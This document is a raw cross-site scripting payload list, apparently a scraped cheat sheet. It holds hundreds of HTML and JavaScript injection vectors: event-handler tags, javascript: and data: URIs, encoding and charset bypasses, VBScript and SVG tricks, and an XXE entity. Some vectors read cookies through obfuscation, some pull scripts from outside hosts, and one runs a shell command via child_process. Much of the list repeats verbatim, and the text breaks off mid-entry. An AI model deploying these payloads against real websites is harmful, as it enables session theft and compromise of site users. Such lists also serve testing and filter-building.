clickit -->hello. "> <video><source onerror="javascript:alert(1)"> <embed/src=//goo.gl/nlX0P> <form action="Javascript:alert(1)"><input type=submit> // Firefox, IE <isindex action="javascript:alert(1)" type=image> // Firefox, IE <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> Google Chrome, IE <isindex x="javascript:" onmouseover="alert(1)" label="test"> // Firefox, IE <form/action='data:text/html,<script>alert(1)</script>'><button>CLICK // Mario <button form=x>xss<form id=x action="javas	cript:alert(1)"// <form><isindex formaction="java	s&NewLine&cript:confirm(1)"> <input type="image" formaction=JaVaScript:alert(0)> <form><input type="image" value="submit" formaction=//goo.gl/nlX0P> <embed/code=//goo.gl/nlX0P? <embed/src=”//goo.gl/nlX0P”> <object data=//0me.me/demo/xss/xssproject.swf?js=alert(document.domain); allowscriptaccess=always></object> // Soroush Dallili <object/data=”//goo.gl/nlX0P”> <object data="javascript:alert(1)"> // FF <object/data="javascript:alert(1)"> // FF <object data="javascript:alert(1)"> <object data="javascript:ale&# x72;t(1)"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> // Firefox only <object data="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB 4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy 8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"></object> // Firefox only <svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <body onload=prompt(1);> <marquee/finish=confirm(2)>/ <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <body oninput=alert(document.domain)><input autofocus></br> <img src=x onerror="javascript:window.onerror=alert;throw 1"> <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';> <script>alert`1`</script> <img src=x onerror=prompt`1`> <a onmouseover=location=’javascript:alert(1)>click <a onmouseover=location='javascript:al
 1rt(1)'>a<a> <body onfocus="location='javascrpt:alert(1) >123 <SCRIPT LANGUAGE="VBScript">%0a%0dFunction window_onload%0a%0dAlert 1%0a%0dEnd Function </SCRIPT> <body language=vbs onload=alert-1 // IE-8 <script type=text/vbscript>msgbox document.location</script> // IE 10 <img language=vbscript src=<b onerror="alert 1"> // IE 8 <svg/language=vbs onload=msgbox-1 <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By Secalert <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> // By Secalert <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <input type="text"value=""onclick="location=window[`atob`]`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21ha W4p`"/> <input type="text" value=""onfocus=location='javascript:alert`1`' autofocus""/> <svg><div onactivate=alert('Xss') id=xss style=overflow:scroll> <div onfocus=alert('xx') id=xss style=display:table> <body/onactivate=alert(1)> <base href=data:/,0/><script src=alert(1)></script> <base href=javascript:/0/><iframe src=,alert(1)> // Cross Browser (PEPE Vila) // Cross Browser //Cross Browser (PEPE Vila) \”;alert(1)// \\”;alert(1)// // Unicode escapes // ES6 Variation // ES6 Variation // Hexadecimal escapes using eval // Octal escapes combined ES6 Diacritical Grave // Using Basic Concatenation // Using String.fromcharcode function // Using source property for concatenation [].constructor.constructor("alert" + "(1)")() window["alert"](1) eval("ale" + (!![]+[])[+!+[]]+(!![]+[])[+[]])(1) window["ale" + (!![]+[])[+!+[]]+(!![]+[])[+[]]](1) alert(document["cook" + ([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]) alert(this["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ]["cook" + ([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]) Clickhere Clickhere alert(1)<\/script> #”> ?#alert(1) #YWxlcnQoMSkvLw== //#> //# //# # location=name//','javascript:alert(1)'); CLICK " alert(1); X X</div>” <meta http-equiv="x-ua-compatible" content="ie=9"><iframe src=//targetsite?xss=<svg/onload%00=%00locatio%00n=nam%00e name=javascript:alert(document.domain)> <a onmouseover%0B=location=%27\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3 B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x 6F\x6F\x6B\x69\x65\x26\x72\x70\x61\x72\x3B%27>CLICK <svg %09onload%09=prompt(1)> <svg/onload%0B=prompt(1)> <svg%09%28%3Bonload=confirm(1);> charset=utf-8&v=”><img src=x onerror=prompt(0);> charset=utf- 32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 a=%1B$*H%1BN&b=%20type=image%20src=x%20onerror=alert(document.c haracterSet);// <// style=x:expression\28write(1)\29> </**/style=x:expression\28write(1)\29> <% contenteditable onresize=alert(1)> <svg%0donload=alert(0)> <body onload=```${prompt``}`> <iframe src="http://target" referrerpolicy="no-referrer"> data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){} <a href="" onclick=``/name==alert(1)>clickme</a> <a href="" onclick=``/*/alt="*//alert(1)//">clickme</a> <form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button> <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> 0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk')) <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script> <script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script> <input onfocus=write(1) autofocus> <input onblur=write(1) autofocus><input autofocus> <a style="-o-link:'javascript:alert(1)';-o-link-source:current">X</a> <video poster=javascript:alert(1)//></video> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> <body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x> <input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!> <script>({0:#0=alert/#0#/#0#(0)})</script> X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` > <?xml-stylesheet href="javascript:alert(1)"?><root/> <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script> <meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾ <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script> <input onblur=focus() autofocus><input> <form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button> 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(1)>`> <script src="#">{alert(1)}</script>;1 +ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input); <style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style> 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d <style>@import "data:,*%7bx:expression(write(1))%7D";</style> <frameset onload=alert(1)> <table background="javascript:alert(1)"></table> <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a> 1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe> 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> <a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a> <!--<img src="--><img src=x onerror=alert(1)//"> <comment><img src="</comment><img src=x onerror=alert(1)//"> <!-- up to Opera 11.52, FF 3.6.28 --><![><img src="]><img src=x onerror=alert(1)//"><!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --><svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg> <style><img src="</style><img src=x onerror=alert(1)//"> <li style=list-style:url() onerror=alert(1)></li><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div> <head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body> <?xml version="1.0" standalone="no"?><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head><body>Hello</body></html> <style>*[{}@import'test.css?]{color: green;}</style>X <div style="font-family:'foo[a];color:red;';">XXX</div> <div style="font-family:foo}color=red;">XXX</div> <svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg> <SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT> <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed> <x style="behavior:url(test.sct)"> <xml id="xss" src="test.htc"></xml><label dataformatas="html" datasrc="#xss" datafld="payload"></label> <script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script> <video><source onerror="alert(1)"> <video onerror="alert(1)"><source></source></video> <b <script>alert(1)//</script>0</script></b> <b><script<b></b><alert(1)</script </b></b> <div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> <div style="[a]color[b]:[c]red">XXX</div> <div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div> <!-- IE 6-8 --><x '="foo"><x foo='><img src=x onerror=alert(1)//'><!-- IE 6-9 --><! '="foo"><x foo='><img src=x onerror=alert(2)//'><? '="foo"><x foo='><img src=x onerror=alert(3)//'> <embed src="javascript:alert(1)"></embed> // O10.10â, OM10.0â, GC6â, FF<img src="javascript:alert(2)"><image src="javascript:alert(2)"> // IE6, O10.10â, OM10.0â<script src="javascript:alert(3)"></script> // IE6, O11.01â, OM10.1â <!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y> <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?><root/> <!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x" onerror CDATA "alert(1)" onload CDATA "alert(2)">]><img /> <doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(1)" xlink:type="simple">XXX</x></doc> <card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(1)"/></onevent><timer value="1"/></card> <div style=width:1px;filter:glow onfilterchange=alert(1)>x</div> <// style=x:expression\28write(1)\29> <form><button formaction="javascript:alert(1)">X</button> <event-source src="event.php" onload="alert(1)"> <a href="javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a> <script<{alert(1)}/></script </> <?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x> <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> <?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/> <object allowscriptaccess="always" data="test.swf"></object> <style>*{x:ï½ ï½ï½ï½ï½ ï½ï½ï½ï½ï½(write(1))}</style> <x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(1)" xlink:type="simple"/> <?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?> <x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)"><x:timer value="1"/></x:template> <x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)//#x"/> <x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/> <body oninput=alert(1)><input autofocus> <svg xmlns="http://www.w3.org/2000/svg"><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="1000" height="1000" fill="white"/></a></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><animation xlink:href="javascript:alert(1)"/><animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><foreignObject xlink:href="javascript:alert(1)"/><foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E"/></svg> <svg xmlns="http://www.w3.org/2000/svg"><set attributeName="onmouseover" to="alert(1)"/><animate attributeName="onunload" to="alert(1)"/></svg> <!-- Up to Opera 10.63 --><div style=content:url(test2.svg)></div><!-- Up to Opera 11.64 - see link below --><!-- Up to Opera 12.x --><div style="background:url(test5.svg)">PRESS ENTER</div> [A]<? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>">[B]<? foo="><x foo='?><script>alert(1)</script>'>">[C]<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">[D]<% foo><x foo="%><script>alert(1)</script>"> <div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div> <div style="list-style:url(http://foo.f)\20url(javascript:alert(1));">X</div> <svg xmlns="http://www.w3.org/2000/svg"><handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(1)</handler></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage></svg> <iframe src=mhtml:http://html5sec.org/test.html!xss.html> X XXX XXX X X XXX XXX x Drop me Spam Some textwww.example.org // Safari 5.0, Chrome 9, 10 // Safari 5.0 ]> alert(1) -->{}*{color:red} new ActiveXObject('htmlfile').parentWindow.alert(1) "> lose focus! click this! copy this! right click this! copy this! double click this! drag this! focus this! input here! press any key! press any key! press any key! click this! hover this! hover this! hover this! click this! paste here! '>alert(1)/* ipt>alert(1) ipt>alert(1) '; alert(1);// Click Me “/>.<<> “>><>; "text " 0 0 abeon %3C%2Ftitle%3E%3Cscript%20src%3D%22data:&q=jav%26%23x76;s%26%23x76;ript%26colon;a%26%23x5c;u006Cert(1)%22%3E <% style=behavior:url(: onreadystatechange=alert(1)> prompt(document.domain) <% style=behavior:url(: onreadystatechange=alert(1)> "-alert(3)// <img src="" /></noembed> <noscript><img src="</noscript><iframe onload=alert(1)>" /></noscript> <script>document.write('<script>/*');</script>*/alert(1)</script> <!DOCTYPE a [<!ENTITY b SYSTEM '1' NDATA c><!ENTITY d SYSTEM '2' NDATA e><!NOTATION e SYSTEM '3'>]><f/> ([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() <script>top.require('child_process').execSync('open -a Calculator')</script> <meta http-equiv="refresh" content="1; url=file:////net/xss.cx/xss.html"> <a href="file:///Applications/Calculator.app"><svg onload="this.parentNose.click()"></a> <script type=text/babel>prompt(7)</script> <script type="text/rocketscript">prompt(7`)</script> <svg><a xml:base="javascript:alert(1)//" href="#"><circle r="100" /></svg> †‡•＜img src=a onerror=javascript:alert(1)>…‰€ <iframe/onload='this["src"]="javas	cript:al"+"ert``"';> <img/src=q onerror='new Function`al\ert\`1\``'> <script>location.href;'javascript:alert%281%29'</script> '"</Script><Html Onmouseover=(alert)(1) //
<video><source onerror="javascript:alert(1)"> <embed/src=//goo.gl/nlX0P> <form action="Javascript:alert(1)"><input type=submit> // Firefox, IE <isindex action="javascript:alert(1)" type=image> // Firefox, IE <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> Google Chrome, IE <isindex x="javascript:" onmouseover="alert(1)" label="test"> // Firefox, IE <form/action='data:text/html,<script>alert(1)</script>'><button>CLICK // Mario <button form=x>xss<form id=x action="javas	cript:alert(1)"// <form><isindex formaction="java	s&NewLine&cript:confirm(1)"> <input type="image" formaction=JaVaScript:alert(0)> <form><input type="image" value="submit" formaction=//goo.gl/nlX0P> <embed/code=//goo.gl/nlX0P? <embed/src=”//goo.gl/nlX0P”> <object data=//0me.me/demo/xss/xssproject.swf?js=alert(document.domain); allowscriptaccess=always></object> // Soroush Dallili <object/data=”//goo.gl/nlX0P”> <object data="javascript:alert(1)"> // FF <object/data="javascript:alert(1)"> // FF <object data="javascript:alert(1)"> <object data="javascript:ale&# x72;t(1)"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> // Firefox only <object data="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB 4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy 8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"></object> // Firefox only <svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <body onload=prompt(1);> <marquee/finish=confirm(2)>/ <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <body oninput=alert(document.domain)><input autofocus></br> <img src=x onerror="javascript:window.onerror=alert;throw 1"> <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';> <script>alert`1`</script> <img src=x onerror=prompt`1`> <a onmouseover=location=’javascript:alert(1)>click <a onmouseover=location='javascript:al
 1rt(1)'>a<a> <body onfocus="location='javascrpt:alert(1) >123 <SCRIPT LANGUAGE="VBScript">%0a%0dFunction window_onload%0a%0dAlert 1%0a%0dEnd Function </SCRIPT> <body language=vbs onload=alert-1 // IE-8 <script type=text/vbscript>msgbox document.location</script> // IE 10 <img language=vbscript src=<b onerror="alert 1"> // IE 8 <svg/language=vbs onload=msgbox-1 <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By Secalert <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> // By Secalert <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <input type="text"value=""onclick="location=window[`atob`]`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21ha W4p`"/> <input type="text" value=""onfocus=location='javascript:alert`1`' autofocus""/> <svg><div onactivate=alert('Xss') id=xss style=overflow:scroll> <div onfocus=alert('xx') id=xss style=display:table> <body/onactivate=alert(1)> <base href=data:/,0/><script src=alert(1)></script> <base href=javascript:/0/><iframe src=,alert(1)> // Cross Browser (PEPE Vila) // Cross Browser //Cross Browser (PEPE Vila) \”;alert(1)// \\”;alert(1)// // Unicode escapes // ES6 Variation // ES6 Variation // Hexadecimal escapes using eval // Octal escapes combined ES6 Diacritical Grave // Using Basic Concatenation // Using String.fromcharcode function // Using source property for concatenation [].constructor.constructor("alert" + "(1)")() window["alert"](1) eval("ale" + (!![]+[])[+!+[]]+(!![]+[])[+[]])(1) window["ale" + (!![]+[])[+!+[]]+(!![]+[])[+[]]](1) alert(document["cook" + ([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]) alert(this["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ]["cook" + ([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]) Clickhere Clickhere alert(1)<\/script> #”> ?#alert(1) #YWxlcnQoMSkvLw== //#> //# //# # location=name//','javascript:alert(1)'); CLICK " alert(1); X X</div>” <meta http-equiv="x-ua-compatible" content="ie=9"><iframe src=//targetsite?xss=<svg/onload%00=%00locatio%00n=nam%00e name=javascript:alert(document.domain)> <a onmouseover%0B=location=%27\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3 B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x 6F\x6F\x6B\x69\x65\x26\x72\x70\x61\x72\x3B%27>CLICK <svg %09onload%09=prompt(1)> <svg/onload%0B=prompt(1)> <svg%09%28%3Bonload=confirm(1);> charset=utf-8&v=”><img src=x onerror=prompt(0);> charset=utf- 32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 a=%1B$*H%1BN&b=%20type=image%20src=x%20onerror=alert(document.c haracterSet);// <// style=x:expression\28write(1)\29> </**/style=x:expression\28write(1)\29> <% contenteditable onresize=alert(1)> <svg%0donload=alert(0)> <body onload=```${prompt``}`> <iframe src="http://target" referrerpolicy="no-referrer"> data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){} <a href="" onclick=``/name==alert(1)>clickme</a> <a href="" onclick=``/*/alt="*//alert(1)//">clickme</a> <form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button> <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> 0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk')) <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script> <script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script> <input onfocus=write(1) autofocus> <input onblur=write(1) autofocus><input autofocus> <a style="-o-link:'javascript:alert(1)';-o-link-source:current">X</a> <video poster=javascript:alert(1)//></video> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> <body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x> <input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!> <script>({0:#0=alert/#0#/#0#(0)})</script> X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` > <?xml-stylesheet href="javascript:alert(1)"?><root/> <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script> <meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾ <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script> <input onblur=focus() autofocus><input> <form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button> 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(1)>`> <script src="#">{alert(1)}</script>;1 +ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input); <style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style> 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d <style>@import "data:,*%7bx:expression(write(1))%7D";</style> <frameset onload=alert(1)> <table background="javascript:alert(1)"></table> <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a> 1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe> 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> <a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a> <!--<img src="--><img src=x onerror=alert(1)//"> <comment><img src="</comment><img src=x onerror=alert(1)//"> <!-- up to Opera 11.52, FF 3.6.28 --><![><img src="]><img src=x onerror=alert(1)//"><!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --><svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg> <style><img src="</style><img src=x onerror=alert(1)//"> <li style=list-style:url() onerror=alert(1)></li><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div> <head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body> <?xml version="1.0" standalone="no"?><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head><body>Hello</body></html> <style>*[{}@import'test.css?]{color: green;}</style>X <div style="font-family:'foo[a];color:red;';">XXX</div> <div style="font-family:foo}color=red;">XXX</div> <svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg> <SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT> <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed> <x style="behavior:url(test.sct)"> <xml id="xss" src="test.htc"></xml><label dataformatas="html" datasrc="#xss" datafld="payload"></label> <script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script> <video><source onerror="alert(1)"> <video onerror="alert(1)"><source></source></video> <b <script>alert(1)//</script>0</script></b> <b><script<b></b><alert(1)</script </b></b> <div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> <div style="[a]color[b]:[c]red">XXX</div> <div style="\63	\06f
\0006c\00006F
